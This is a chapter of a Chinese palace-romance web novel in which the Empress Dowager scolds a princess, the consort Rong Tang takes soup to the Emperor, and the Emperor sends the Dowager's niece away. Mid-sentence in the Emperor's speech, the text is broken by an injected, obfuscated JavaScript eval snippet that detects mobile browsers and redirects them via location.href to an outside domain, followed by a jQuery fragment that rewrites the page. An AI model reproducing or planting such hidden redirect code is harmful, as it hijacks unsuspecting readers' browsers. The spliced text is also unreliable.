太后瞧着她坐立难安的样子,便知道她定隐瞒了什么,不由得提高了声音:“当真?在哀家面前,你可莫要吞吞吐吐,闪烁其词了。” 丹阳长公主这会子才是真的后悔了,暗恼自己白日为何要逞一时之快而忘记了兄长的嘱托,竟当着容棠的面说了那些朝政之事。她脊背一凉,这宫中处处都是皇帝的人,他会不会已经知道了这件事? 思及此,她顿时不寒而栗,面色也变得苍白起来,丝毫不见白日里那耀武扬威、傲然自得的模样。 太后见她这副样子,心中一紧,忍不住拍了拍炕桌,沉声道:“你究竟说了什么!” 丹阳长公主吓得浑身一颤,不自觉带上了几分哽咽,屈膝跪下道:“儿臣一时失言,不小心在......在贵妃面前说了些不合适的话。可儿臣真的是无心之失,并非有意的。” 太后听着她这遮遮掩掩的话,心头火起,向顾琼珠道:“琼珠,你老老实实将丹阳今日所说的话交代了,不得隐瞒一字一句。” 顾琼珠微一踌躇,下意识看了丹阳长公主一眼。太后见状,愈发狐疑起来,道:“快说。” “长公主今日与贵妃闲谈许久,并未说什么不合时宜的话,只是......”顾琼珠咬唇,低低道,“只是后来长公主与贵妃谈论起读书之事,一时口快,不小心提及了几句朝堂之事,事涉贵妃之父与王爷。” 太后凝神:“贵妃之父......若哀家记得不错的话,是工部尚书吧?” 顾琼珠道:“是。容尚书奉旨主理陛下陵寝修建之事。” 此话一出,太后顿时猜到了大概,气不打一处来,重重一掌拍在桌案上:“蠢材!” 丹阳长公主浑身一抖,慌忙跪下,抱住太后的衣裳下摆:“太后息怒!” “谁给你的胆子,敢在宫中随意议论前朝之事?”太后抬手指着她,恨铁不成钢,“你身为宗室,又是女眷,妄言朝事那是大罪,倘若皇帝真的翻脸无情,追究起来,你以为你还能全身而退?” 丹阳长公主这下是真的害怕了:“太后,儿臣知道错了,求您替儿臣想想办法吧。” 太后疲惫地闭了闭眼,说道:“皇帝并未明言,兴许还是在给你留一分情面,你却不能心无挂碍地继续留在宫里了。明日一早你去向皇帝请安辞行,说你身子抱恙,想出宫回府好好静养,先避一避风头再说。但愿皇帝能顾念旧情,放你一马。毕竟你只是传了话,并非与朝臣勾结,还没有那么大的罪名。” 丹阳长公主含泪道:“儿臣明白了。” 太后看着她就来气,摆手道:“你下去吧,好好反思你的过错,哀家要静一静。” 待丹阳长公主离开,太后瞧了眼静默的顾琼珠,叹气道:“哀家本以为丹阳能借着她的身份帮你一把,谁知这孩子这样蠢笨不中用。她是指望不上了,琼珠,你只能靠你自己。过几日,哀家会再请皇帝来启祥宫,那时你要好好准备,给皇帝留个好印象,明白吗?” 顾琼珠敛眉下拜:“姨母放心。” 25. 挑明 容棠从梦中惊醒时,窗外依旧是一片漆黑。 她额头上全是细细密密的冷汗,一颗心狂跳不止,许久才慢慢落回胸腔。入目是熟悉的内寝,那金灿灿的石榴纹床帐随着她翻身的动作,轻轻擦过身上的被子,在一片暗沉的光线中微微晃动。 她没想到自己又做了噩梦。这一会的梦没有什么身临其境般的可怖情形,自始至终只盘旋着一个画面:萧凛无声无息地躺在龙床上,无论身边人如何呼唤他都毫无反应。 他死了。这一次,他是死于一场不知名的大病。 容棠浑身发颤,紧紧攥住身上的寝衣,觉得这满屋的黑暗显得格外可怕。她艰难地撑起身子,想摸索着点亮烛火,却不小心碰到了什么。 动静引得外间守夜的岚月惊醒,小心唤了声“娘娘”,得了容棠应声后才推门进来,绕过屏风,点了一支蜡烛,细心地用手拢着火光,免得晃了容棠的眼睛。 “娘娘是要喝茶还是更衣?”岚月问道。 被她这么一说,容棠忽然觉得有些口干舌燥,便顺势道:“你替我倒一盅温热的茶水来。” 岚月依言去了,容棠靠在床头,左思右想,还是从床榻最里的枕头下面寻出了一本书册。那是她入宫前从那位擅算命的大师处买来的解梦之书,只是一直没得空看。 她平复了一下呼吸,缓缓揭开书页,循着目录一点一点找着,终于找到了一篇名为“亲近之人身死之梦”的文章,立刻翻看了起来。 岚月倒了茶回来,见自家姑娘居然就着那并不多么明亮的烛火看起了书,不由得讶异:“娘娘仔细伤眼。” 容棠顾不上那么多了,只想找出这个梦代表的寓意或是预示。她的手指按在书页上,缓慢下移,见书上说,此种梦通常预示着两个可能:一是梦中之人身体不豫,或有重疾缠身;二是梦中之人身体无恙,但因某些事情而心火旺盛,喜怒无常,从而导致与做梦之人关系变得糟糕,从形影不离变得形同陌路。 形同陌路......容棠愣了愣,觉得这个词似乎不大适合她与萧凛,因为他们从来就没有形影不离过。可若不是这个可能,难道是第一个? 她盯着那“身体不豫、重疾缠身”八个字,愈发心慌意乱起来。 接下来几日,萧凛都不曾来过长乐宫,更不曾传召容棠去福宁殿,他好似全身心扑在朝政之上,对其他的事情一概不关心。 御前的人个个都如锯嘴葫芦,根本探听不到任何消息,只知道萧凛这些日子几乎闭门不出。容棠有些忧心忡忡,脑海中不断浮现出那次萧凛突发不适的样子,不由得担心起来。 他这么多日不露面,别是生了什么大病,万一再猝不及防出了什么意外,自己可就走投无路了啊。 虽然按照前世来说,萧凛这个时候还好好活着,不会死,可容棠不敢托大,也不敢尽信前世。若是这一世与前世一模一样的话,她此刻就不会身在宫中了。说不定随着她的重生,这世间也阴差阳错发生了许多变故呢? 她不敢赌,决定想办法见萧凛一面,确信他一切无恙才能安心。 可无缘无故的,她以什么理由去福宁殿呢?萧凛日日忙于国事,她若是在这个时候无缘无故前去叨扰,岂不是显得太不识大体了? “娘娘,这是小厨房新做的马蹄银耳羹,您尝尝。” 容棠正发着呆时,拂云送了一样点心过来,道:“昨日听娘娘咳嗽了几声,奴婢便熬煮了这汤羹。” 马蹄脆爽,银耳软糯,汤汁粘稠甜润,容棠慢慢尝着,只觉得那甜丝丝的暖流润过喉咙,说不尽的舒服,不由自主便喝了好几碗,笑着赞道:“你的手艺是越发好了。” 拂云抿嘴一笑:“娘娘喜欢,便是奴婢的福气。如今春日燥气重,这银耳和马蹄最是滋润养生的了。” 容棠听了这话,忽而灵机一动:她可以借着给萧凛送羹汤的由头,设法见他一面啊。正好这些日子他囯事繁忙,自己身为妃子,给天子送些汤羹也是理所当然的,还能表达一下对他的关怀之情,无论从哪个方面来看,都让人挑不出错处。 主意已定,容棠向拂云问道:“这马蹄银耳羹还有没有了?” 拂云道:“有的。娘娘还要用一些吗?” 容棠摇摇头道:“我要给陛下送一碗过去。” “是,”拂云道,“奴婢去寻个汤盅。” 等汤羹准备好,正好也快到了午膳时候,容棠便向福宁殿去了。 “给贵妃娘娘请安。”福宁殿的内侍见她来了,忙俯身行礼。 容棠问道:“陛下在吗?这些日子陛下操劳国事,很是辛苦,我命人准备了汤羹,希望陛下能保重龙体。” 内侍有些尴尬:“回娘娘的话,陛下去太后宫里用膳了。” 启祥宫? 容棠忽然想起,那位顾姑娘似乎还在太后宫里,因此太后才会请萧凛前去用膳,意欲撮合他二人吧。 难道萧凛对顾琼珠其实并不反感,所以才会在明知她在的情形下依然前去?日后他不会真的同意册立顾琼珠为皇后吧,到那时自己的清净日子可就烟消云散了。 容棠怔在原地,若有所思。既然萧凛不在,她只能回长乐宫去了,但这汤羹还是得留下。她有些可惜,早知如此还不如自个留着品尝呢。待萧凛回来已经酒足饭饱了,想来根本不会多看这汤羹一眼吧。 她暗自摇头,转身便离开了。 这副样子落在内侍眼里,便是贵妃娘娘“满心欢喜”地来福宁殿寻陛下却扑了个空,“失魂落魄”地呆立了一会,“黯然神伤”地转身离开,临走时还不忘“温柔体贴”地嘱咐他将汤羹送给陛下。 内侍心想,贵妃娘娘果然对陛下一往情深,真是让人感动啊。 * 启祥宫。 萧凛甫一踏进殿内,余光便瞥见一个少女袅袅婷婷迎了过来。他面色淡淡,只抬了抬手免了她的行礼,便在膳桌旁坐了下来,完全没有要同她客套几句的意思。 顾琼珠举止落落大方,并无半分羞怯。她亲自斟了一盏茶奉于萧凛,道:“陛下请用茶。” 萧凛接了过来,缓缓抿了一口。 顾琼珠立在原地,不动声色打量着这位陛下。这是她第一次这样近距离地观察他,上一次见面是在宫宴上,隔着那么多人,她压根没能仔细看清他的眉眼和气度,而今日则大不相同了。 她很快收回目光,心中却很是满意,这通身的气度和风华果然非寻常男子可比,不愧是天潢贵胄。只有他身边的位置,才值得自己为之争取。 顾琼珠想起某些人,忍不住厌烦地皱了皱眉。 不多时,宫人便将午膳一样样摆上了桌。很快,里间的帘子一掀,太后缓步而出,看见萧凛后含笑道:“皇帝来了。” “母后。”萧凛起身请安。 “这些日子你一直把自己关在福宁殿,哀家知道前朝的事情要紧,但皇帝也得当心自己的身体,千万不要累着了。”太后关切地道。 萧凛一笑:“母后放心,朕明白。”他拿起银筷,一旁侍立的程良全见状,便麻利地准备替他夹菜,却见太后轻轻挥了挥手,道:“今日不过是哀家想念皇帝了,权当是家宴,何必这般严守规矩?” 她和声道:“琼珠,你陪陛下好好用膳。” 顾琼珠会意,很快移步到了萧凛身畔,柔声问道:“陛下要不要尝尝这道鸭花汤饼?” “或是这道茯苓鸡汤,最是温补。陛下平日操劳国事,须得当心龙体。” 她嗓音柔婉,举止娴雅,语气既处处透着体贴关切,又不会显得逾越失礼,见萧凛默然不语,便亲自盛了一碗鸡汤,双手奉上。 这么一个绝色佳人在身边柔声软语服侍着,萧凛却将不解风情表现到了极致。他没有去接那碗鸡汤,只是放下了筷子,淡淡道:“这一向侍膳的都是朕身边的宫人。顾姑娘既然是母后的外甥女,暂住宫中便是客人,只安心坐着用膳便是。” 顾琼珠忙道:“臣女只是想陪陛下一道用膳,尽力让陛下用得舒心,盼着陛下能进膳更香一些。若是陛下不喜,臣女便不再出声打扰。” 太后笑道:“皇帝,论起来,琼珠也是你的表妹,虽说皇家先君臣后亲眷,但今日既是家常小聚,便不必这般拘束吧。琼珠初来乍到,皇帝别一味严肃,吓着她了。” 萧凛却并未顺着太后这状似轻松的话说下去。他道:“朕与顾姑娘皆非无知稚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895345|174452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 童,顾姑娘又是闺中女子,自然得顾着男女大防,不可这般随意地同坐一处。若朕身为天子都视礼仪体统于不顾,又如何约束天下臣民?” “顾姑娘一非宫人,二非妃嫔,母后疼爱她却也不可坏了规矩。” 太后的脸色有些难看:“皇帝,你此话何意?” 萧凛道:“顾姑娘身为未嫁之女,即便是母后的亲眷,也不可在宫中长住,否则于她名声有损。” 他停了停,又道:“朕也不想让旁人误解。” 顾琼珠端着碗的手微微一颤,轻声道:“陛下——” “自然,”萧凛扯了扯唇,似笑非笑,“顾姑娘出身侯府,乃是大家闺秀,一向最是知书达礼,懂得分寸规矩,此次入宫也只是为了孝敬母后而已,断不会有什么多余的念头。朕如此做,正是为了侯府和你的名声着想,岂不知‘人言可畏’的道理?” 顾琼珠面色微微发白,垂头不语。 太后心头不快。皇帝什么时候是这样束手束脚、畏惧人言的人了?真是荒唐! 她重重喘了口气道:“皇帝,哀家今日不过请你来简单用个膳,并无别的意思,你何必——” “母后,”萧凛打断她,眼眸之中如浸了冰,“有些话,朕只是顾念着母后和侯府不欲明言罢了。” “顾姑娘身为母后外甥女,又是忠远侯嫡女,将来若是得遇如意郎君,朕会亲自下旨赐婚,必然不会辜负了母后对她的一片疼爱之心。” 他抬了抬手吩咐内侍:“午后便送顾姑娘出宫。” 萧凛顿了顿又道:“为了母后能专心礼佛,往后朕不会轻易让外人进宫来搅扰您。您既然一心向佛,那么就不要再记挂红尘俗事了。” 最后一句话已然没有多少孺慕之情,尾音冰冷,激得太后面色变了变,想到前几日皇帝下了旨,命丹阳长公主往后无圣旨不可入宫,平日也不要随意去王府走动,好好待在公主府上静修,多读几本圣贤书,好好学一学为人处事的道理。 往后,她最亲近的两个人都没法再如从前一样进宫来陪伴她了。太后胸口起伏不定,好个皇帝,难道他为了一个贵妃,竟还要守身如玉不成? 顾琼珠却已收敛好神色,屈膝道:“多谢陛下,臣女明白。往后臣女会恪守规矩,谨遵礼仪。” 她虽然是俯身行礼,但脖颈和脊背依旧是挺直的。顾琼珠自恃身份,得了萧凛那样直截了当的话,她已知道自己没有入宫的可能。而多年来所受的教导和自幼的秉性也让她做不出低声下气邀宠讨好的事,不如体面离开,如此才不会堕了百年侯府的风范。 言罢,顾琼珠起身,恭顺告退。 待她离开,太后平复了一下情绪,缓和了语气道:“皇帝,哀家知道贵妃入宫不久,你对她眷顾多些也是情理之中,但自来天子,哪有集宠于一人的?后宫人多热闹,只要大家和和气气的,对皇帝来说也是好事。哀家只是希望你身边能多些知冷知热的可心人罢了。” 萧凛笑了笑:“母后多虑了,朕就喜欢清静。” 太后:“……” “贵妃是朕亲自下旨礼聘入宫的,朕绝不会委屈了她,也不会让一些莫须有的流言和不知轻重的人屡屡出现在她身边,”萧凛起身,没什么感情地看了太后一眼,“这后宫,始终还是朕说了算。” 他果然还是为了那日的事情。不论是发落丹阳,还是遣走琼珠,都与那件事脱不了干系。太后气得嘴唇有些发抖,正要说话,却听萧凛道:“母后不必猜疑旁人,难道这宫中发生的每一件事,还能瞒得过朕?” 太后当然知道贵妃并没有蓄意告状,毕竟这些日子皇帝并未去长乐宫,也没有召见过贵妃。她心中在意的不是萧凛一味偏宠贵妃,而是他是不是借着此事在暗中警告自己这个皇太后,告诫她从此只能做一个享受荣华富贵的闲人。 想起旧事,太后忽然有些懊悔,沉默良久才道:“皇帝,其实哀家……一直把你当做亲生儿子。” 萧凛冷冷勾唇,不轻不重哂笑了一声,利落地转身离开。 太后对着一桌子尚且冒着热气的丰盛午膳,刹那间只觉得胃口全无。往事如潮水般涌上心头,她忽然觉得周身是从未有过的疲惫。